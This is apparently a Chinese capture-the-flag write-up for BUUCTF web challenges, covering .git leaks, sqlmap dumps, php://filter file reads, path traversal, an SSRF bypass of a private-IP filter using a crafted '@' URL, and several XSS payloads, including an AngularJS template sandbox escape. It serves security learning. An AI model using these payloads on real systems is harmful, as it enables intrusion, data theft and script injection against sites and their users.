buu-13

[第一章 web入门]常见的搜集

用御剑我只扫出了

image-20210806155438581

再用dirsearch扫

image-20210806155349208

image-20210806162006136

很成功被429坑了一把,/.index.php.swp是可下载文件,

把可访问所得的部分flag拼起来就行

[第一章 web入门]粗心的小李

Git测试

 进入GitHack的目录,使用命令 python2 GitHack.py 链接/.git/`
然后提示我们得到了index.html

image-20210808115506391

在这里,访问index.html就行

[第一章 web入门]SQL注入-1

sqli-labs less-1,接近一模一样,手打也行,使用sqlmap,但是flag跑不出来,只有

image-20210808130741560

我不理解,上网搜了一下,使用命令是一样的

1
python sqlmap.py -u "http://68b6cd14-1ab4-4986-88cd-e5a9462e9ca6.node4.buuoj.cn:81/index.php?id=1" -D note -T fl4g -C fllllag --dump

重开靶机就行啦

image-20210808132658791

[第一章 web入门]SQL注入-2

这边是个报错注入

抓一个包分析存一个txt,用sqlmap跑

image-20210810132847381

[第一章 web入门]afr_1

任意文件读取漏洞

原理

  PHP向用户提供的指定待打开文件的方式,是一个文件流
  PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法

1
php://filter/read=convert.base64-encode/resource=xxx

  利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码
通用格式如下:

1
http://127.0.0.1/cmd.php?file=php://filter/convert.base64-encode/resource=cmd

image-20210810135107172

观察url后缀构建payload

1
/?p=php://filter/convert.base64-encode/resource=flag

尝试了一下base32,

image-20210810135411330

image-20210810135530430

把之前使用base64的读取的内容解码,就可以发现读取文件失败的话就会返回nonono

参考:https://blog.csdn.net/weixin_45571987/article/details/110459724

[第一章 web入门]afr_2

image-20210810140003122

有图片的话,应该就和文件相关了

尝试直接读取

image-20210810140051353

可以访问,但试图访问再上一级时会被返回到hello!的界面

使用../返回到当前目录的上层目录

image-20210810140339556

注:url结尾不能是/img/../会使其访问回首页

[第二章 web进阶]SSRF Training

image-20210810161002195

这边应该该是提示语url有关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php 
highlight_file(__FILE__);//用PHP高亮显示当前的文件
function check_inner_ip($url)//获取url的域名,将域名转为ip,然后再判断这个ip是否是私有地址
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
//返回$url的匹配,值将是 0 次(不匹配)或 1
//^从开头开始匹配
//? 匹配0或1个正好在它之前的那个字符。注意:这个元字符不是所有的软件都支持的
//( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)
//. 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \.
//* 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*
//$:从字符串末尾进行匹配
if (!$match_result)
{
die('url fomat error'); //匹配失败,url不符合正则表达式
}
try
{
$url_parse=parse_url($url); //分解url各个部分,$url_parse是一个数组
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host']; //hostname为主机名,也就是域名
$ip=gethostbyname($hostname); //通过域名获取IP
$int_ip=ip2long($ip); //ip2long:将IPv4的ip地址(以小数点分隔形式)转换为int
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
//关于判断私有地址https://blog.csdn.net/kwsy2008/article/details/50098701
} //判断是否是私有地址,是则这个函数就返回1//这里 try { }catch(Exception $e),为PHP中的异常处理

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init(); ////初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用
curl_setopt($ch, CURLOPT_URL, $url); //访问的域名
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出,这里禁止了
$output = curl_exec($ch); //抓取URL并把它传递给浏览器
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);// 关闭cURL资源,并且释放系统资源
var_dump($output); //函数用于输出变量的相关信息,执行
}

}

$url = $_GET['url'];
if(!empty($url)){ //判断url是否为空,不为空就执行
safe_request_url($url);
}

?>

所以这里通过过滤私有ip地址,说明这些ip是可以访问到本地文件的,一个尝试

image-20210810210703595

image-20210810210918335

image-20210810211502018

image-20210810210945384

image-20210810211056001

image-20210810211132563

仔细观察一下可以发现这里通过(:)分隔user和pass,用(@)分隔ip和主机名

image-20210810211826442

这里127.0.0.1之前没有添加@

传入的URL可以为http://@127.0.0.1:80@baidu.com,那么进入 safe_request_url检测之后 parse_url取到的host是baidu.com。

at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。

在这里@是登录名与主机名的分隔符,符号的左边是对方的登录名,右边是完整的主机名,它由主机名与域名组成。

这里检查的ip是百度的ip但是在实际执行的ip则是127.0.0.1,从而成功读取flag.php,而在127.0.0.1前加一个@就是为了在后面执行程序的时候能够成功访问靶机。

[第二章 web进阶]XSS闯关

貌似get了一个暴力破解方法

image-20210811152010621

把level1改成level7就行

level1

image-20210820192925108

直接输入就行,这里没有做任何防护

level2

image-20210820193523130由于escape()的缘故,直接使用alert(1),根据这里的源码使用单引号和分号结束前后语句,后面也可以用//把后面的语句注释掉

image-20210820195545896

或者

1
';alert(1);//

我们就可以得到

1
2
3
4
var username = '';alert(1)//   
var username = '';alert(1)//';
var username = '';alert(1);//
var username = '';alert(1);'

这四种均可成功绕过

level3

image-20210820202845480

单引号被注释了

image-20210820203617455

你会发现它只注释了一个单引号,那把level2的payload改改就行

image-20210820203755724

level4

image-20210820203929887

重定向,构造如图所示payload,浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。然后等个十秒就行。

level5

image-20210820205444847

这个表单无论你提交什么都不行,因为你不是自动提交

在这里需要满足这两点

1
2
3
if(getQueryVariable('autosubmit') !== false){

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');

那就给autosubmit传一个值,通过action传一个弹窗语句,逻辑同level4,payload如下

1
?autosubmit=1&action=javascript:alert(1)

level6

表面上平平无奇,f12看了个寂寞

尝试输入

1
<script>alert(1)</script>

,发现对左尖括号<进行了html实体编码:

img

其实是模板XSS,这里的模板是AngularJS 1.4.6

逃逸方法:https://xz.aliyun.com/t/4638

1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

参考:https://blog.csdn.net/rfrder/article/details/108930033